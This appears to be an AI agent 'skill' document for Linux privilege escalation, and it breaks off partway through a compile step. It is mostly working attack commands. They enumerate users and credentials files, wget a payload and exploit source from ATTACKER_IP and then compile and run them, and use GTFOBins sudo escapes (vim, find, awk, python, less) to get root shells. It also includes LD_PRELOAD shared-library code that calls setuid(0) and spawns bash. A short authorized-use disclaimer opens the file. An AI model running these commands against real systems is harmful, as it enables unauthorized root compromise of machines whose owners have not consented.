Linux privilege escalation

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Linux Privilege Escalation

Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

Inputs / Prerequisites

Required Access

• Low-privilege shell access to target Linux system
• Ability to execute commands (interactive or semi-interactive shell)
• Network access for reverse shell connections (if needed)
• Attacker machine for payload hosting and receiving shells

Technical Requirements

• Understanding of Linux filesystem permissions and ownership
• Familiarity with common Linux utilities and scripting
• Knowledge of kernel versions and associated vulnerabilities
• Basic understanding of compilation (gcc) for custom exploits

Recommended Tools

• LinPEAS, LinEnum, or Linux Smart Enumeration scripts
• Linux Exploit Suggester (LES)
• GTFOBins reference for binary exploitation
• John the Ripper or Hashcat for password cracking
• Netcat or similar for reverse shells

Outputs / Deliverables

Primary Outputs

• Root shell access on target system
• Privilege escalation path documentation
• System enumeration findings report
• Recommendations for remediation

Evidence Artifacts

• Screenshots of successful privilege escalation
• Command output logs demonstrating root access
• Identified vulnerability details
• Exploited configuration files

Core Workflow

Phase 1: System Enumeration

Basic System Information

Gather fundamental system details for vulnerability research:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

User and Permission Enumeration

# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who

Network Information

# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l

Process and Service Enumeration

# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root

Environment Variables

# Full environment
env

# PATH variable (for hijacking)
echo $PATH

Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

# LinPEAS: download first, inspect the script, then execute only in an authorized lab
curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
less linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh

Transfer scripts to target system:

# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 3: Kernel Exploits

Identify Kernel Version

uname -r
cat /proc/version

Search for Exploits

# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]

Common Kernel Exploits

Kernel Version	Exploit	CVE
2.6.x - 3.x	Dirty COW	CVE-2016-5195
4.4.x - 4.13.x	Double Fetch	CVE-2017-16995
5.8+	Dirty Pipe	CVE-2022-0847

Compile and Execute

# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit

Phase 4: Sudo Exploitation

Enumerate Sudo Privileges

sudo -l

GTFOBins Sudo Exploitation

Reference https://gtfobins.github.io for exploitation commands:

# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash

LD_PRELOAD Exploitation

When env_keep includes LD_PRELOAD:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

# Compile shared library
gcc